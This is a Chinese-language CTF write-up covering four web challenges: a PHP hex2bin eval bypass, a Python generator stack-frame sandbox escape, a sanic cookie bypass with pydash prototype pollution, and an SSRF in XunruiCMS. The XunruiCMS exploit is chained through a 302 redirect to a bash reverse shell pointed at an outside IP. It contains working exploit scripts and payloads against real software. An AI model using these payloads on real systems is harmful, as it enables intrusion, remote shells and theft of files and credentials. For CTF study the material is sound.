Simple_php
小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?
使用php -r,后面的部分编码绕过
ban了引号,使用hex2bin
因此payload格式为php -r eval(hex2bin(16进制));
php -r: 这是 PHP 命令行解释器的选项,表示以 “运行” 模式执行 PHP 代码。
eval(): PHP 中的 eval() 函数用来执行一个字符串形式的 PHP 代码。eval() 函数接收一个字符串作为参数,并将该字符串作为 PHP 代码进行执行。简单来说,它可以将一个字符串动态地转化为可执行的 PHP 代码。
hex2bin(): PHP 中的 hex2bin() 函数将十六进制字符串转换为二进制字符串。
1 2 3 4 5 <?php $a = "echo system('ls /');" ;$b = bin2hex ($a );echo $b ?>
下面这段报错,因为加不了引号,开头是数字的话,就会将类型识别为数字,若后续出现了字符串就会报错
使用substr进行截取,将类型转为字符串
1 cmd=php -r eval(hex2bin(substr(a6563686f2073797374656d28276c73202f27293b,1)));
搜索flag
web目录没有flag,考虑数据库,接下来连接数据库执行命令
1 2 3 4 5 6 7 <?php $a = "echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;" ;$b = bin2hex ($a );echo $b ?>
mossfern
小明最近搭建了一个学习 Python 的网站,他上线了一个 Demo。据说提供了很火很安全的在线执行功能,你能帮他测测看吗?
代码见附件
python栈帧沙箱逃逸
Python利用栈帧沙箱逃逸 - 先知社区 (aliyun.com)
前置知识:
这是一个简单的生成器
生成器的属性 gi_code
: 生成器对应的code对象。gi_frame
: 生成器对应的frame(栈帧)对象。gi_running
: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。gi_yieldfrom
:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。gi_frame.f_locals
:一个字典,包含生成器当前帧的本地变量。
着重介绍一下 gi_frame 属性
gi_frame
是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息。
下面是一个简单的示例,演示了如何使用生成器的 gi_frame 属性来获取生成器的当前帧信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def my_generator(): yield 1 yield 2 yield 3 gen = my_generator() # 获取生成器的当前帧信息 frame = gen.gi_frame # 输出生成器的当前帧信息 print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
栈帧(frame) 在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。
栈帧包含了以下几个重要的属性:f_locals
: 一个字典,包含了函数或方法的局部变量。键是变量名,值是变量的值。f_globals
: 一个字典,包含了函数或方法所在模块的全局变量。键是全局变量名,值是变量的值。f_code
: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。f_lasti
: 整数,表示最后执行的字节码指令的索引。f_back
: 指向上一级调用栈帧的引用,用于构建调用栈。
利用栈帧沙箱逃逸 原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表 例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 s3cret="this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals ={}code = compile (codes, "test" , "exec" ) exec (code,locals )print (locals ["b" ])
运行得到 this is flag
,成功逃逸出沙箱获取到s3cret
变量值
这里也可以使用f_locals
去代替f_globals
效果是相同的,但是要注意,locals
返回的是局部符号表,它包含了在当前函数或方法内部定义的变量。这些局部变量只在当前函数或方法的执行过程中存在,并且只能在该函数或方法内部访问。当函数执行完毕后,这些局部变量就会被销毁。
开始做题
查看源码
最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 def getflag (): def f (): yield g.gi_frame.f_back g = f() frame=[x for x in g][0 ] gattr = frame.f_back.f_back.f_back.f_locals['_' +'_builtins_' +'_' ] code = frame.f_back.f_back.f_back.f_code dir = gattr.dir str = gattr.str print (dir (code)) for i in str (code.co_consts): print (i,end="," ) getflag()
post传参
\n全部替换掉
sanic CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
题目描述:sanic能有什么问题呢?
敏感目录
/admin被forbidden
/src
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanicfrom sanic.response import text, htmlfrom sanic_session import Sessionimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app) @app.route('/' , methods=['GET' , 'POST' ] ) async def index (request ): return html(open ('static/index.html' ).read()) @app.route("/login" ) async def login (request ): user = request.cookies.get("user" ) if user.lower() == 'adm;n' : request.ctx.session['admin' ] = True return text("login success" ) return text("login fail" ) @app.route("/src" ) async def src (request ): return text(open (__file__).read()) @app.route("/admin" , methods=['GET' , 'POST' ] ) async def admin (request ): if request.ctx.session.get('admin' ) == True : key = request.json['key' ] value = request.json['value' ] if key and value and type (key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success" ) else : return text("forbidden" ) return text("forbidden" ) if __name__ == '__main__' : app.run(host='0.0.0.0' )
因为传cookie时会在;
处自动截断,在/login路由处我们需要绕过**user.lower() == ‘adm;n’**的限制
考的是 RFC2068 的编码规则:
RFC 2068 编码 实际上是使用八进制转义字符来表示特殊字符。\073 就是分号(;)的八进制转义字符表示。
符号
八进制转义字符
!
\041
“
\042
#
\043
$
\044
%
\045
&
\046
‘
\047
(
\050
)
\051
*
\052
+
\053
,
\054
-
\055
.
\056
/
\057
:
\072
;
\073
<
\074
=
\075
>
\076
?
\077
@
\100
[
\133
\
\134
]
\135
^
\136
_
\137
`
\140
{
\173
}
\175
~
\176
成功拿session,然后就是打/admin路由,传key和value的json打原型链。
首先看到这个,污染该属性后就可以任意文件读取了
1 {"key":".__init__\\\\.__globals__\\\\.__file__","value": "/etc/passwd"}
访问src
成功污染,但是尝试读取/flag时发现无法读取,也就是不知道flag的位置。
需要我们利用污染的方式开启列目录功能,查看根目录下flag的名称,再进行读取
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests url = 'http://8af1b595-5c21-4283-9a47-091b8e66b015.challenge.ctf.show' s = requests.Session() s.cookies.update({ 'user': '"adm\\073n"' }) s.get(url + '/login') # 开启目录浏览 data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True} # 污染目录路径 # data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']} r = s.post(url + '/admin', json=data) print(r.text) # 获取flag路径 r = s.get(url + '/static/') print(r.text) # 污染__file__,读取flag data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"} r = s.post(url + '/admin', json=data) print(r.text) print(s.get(url + '/src').text)
easycms
简单的cms,可以扫扫看?
提示1: /flag.php:
1 2 3 4 5 6 if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ echo "Just input 'cmd' From 127.0.0.1"; return; }else{ system($_GET['cmd']); }
提示2:github找一下源码?
访问flag.php
后面公布了flag.php的源码
1 2 3 4 5 6 if ($_SERVER ["REMOTE_ADDR" ] != "127.0.0.1" ){ echo "Just input 'cmd' From 127.0.0.1" ; return ; }else { system ($_GET ['cmd' ]); }
$_SERVER[“REMOTE_ADDR”]限制了请求来自本地, 所以得从其他地方入手。于是开始看这个讯睿CMS的源码。
迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
C:\Users\31702\Downloads\xunruicms-master\dayrui\Fcms\Control\Api
下的api.php中的dr_catcher_data
函数存在SSRF
1 http://example.com/index.php?s=api&m=qrcode&c=api&text=1&thumb=http://127.0.0.1/flag.php?cmd=whoami
dr_catcher_data跳转
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public function qrcode ( ) { $value = urldecode (\Phpcmf\Service ::L ('input' )->get ('text' )); $thumb = urldecode (\Phpcmf\Service ::L ('input' )->get ('thumb' )); $matrixPointSize = (int )\Phpcmf\Service ::L ('input' )->get ('size' ); $errorCorrectionLevel = dr_safe_replace (\Phpcmf\Service ::L ('input' )->get ('level' )); require_once CMSPATH.'Library/Phpqrcode.php' ; $file = WRITEPATH.'file/qrcode-' .md5 ($value .$thumb .$matrixPointSize .$errorCorrectionLevel ).'-qrcode.png' ; if (is_file ($file )) { $QR = imagecreatefrompng ($file ); } else { \QRcode ::png ($value , $file , $errorCorrectionLevel , $matrixPointSize , 3 ); $QR = imagecreatefromstring (file_get_contents ($file )); if ($thumb ) { $logo = imagecreatefromstring (dr_catcher_data ($thumb )); $QR_width = imagesx ($QR ); $QR_height = imagesy ($QR ); $logo_width = imagesx ($logo ); $logo_height = imagesy ($logo ); $logo_qr_width = $QR_width / 4 ; $scale = $logo_width /$logo_qr_width ; $logo_qr_height = $logo_height /$scale ; $from_width = ($QR_width - $logo_qr_width ) / 2 ; imagecopyresampled ($QR , $logo , $from_width , $from_width , 0 , 0 , $logo_qr_width , $logo_qr_height , $logo_width , $logo_height ); imagepng ($QR , $file ); } } ob_start (); ob_clean (); header ("Content-type: image/png" ); ImagePng ($QR ); exit ; }
传入四个参数,其中text,size,level是关于二维码的信息,thumb是关于logo的信息,logo就有时候在二维码中间的那个小图片
用四个参数命名为一个文件名,如果存在则直接读出$QR(图片对象),若不存在则创建一个图片对象
检测是否需要logo,如果需要logo,就重新调整图片并且插入logo
跳转/dayrui/Fcms/Core/Helper.php
1 2 3 function dr_qrcode_url ($text , $uid = 0 , $level = 'L' , $size = 5 ) { return ROOT_URL.'index.php?s=api&c=api&m=qrcode&uid=' .urlencode ($uid ).'&text=' .urlencode ($text ).'&size=' .$size .'&level=' .$level ; }
dr_catcher_data($thumb): dr_catcher_data() 函数用于获取外部资源数据。如果攻击者能够控制 $thumb 参数的值,他们就可以利用 dr_catcher_data() 函数访问任意 URL,从而引发 SSRF 攻击。
直接弹shell没成功
payload
1 /index.php?s=api&c=api&m=qrcode&text=1&thumb=http://111.229.207.141:7777/302.php&size=10&level=1
在自己的vps写好跳转,然后在cmd上写上反弹shell即可
1 2 3 4 <?php header ('location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E&%20/dev/tcp/111.229.207.141/8888%20%3C&1%22' ,true ,302 );exit ();?>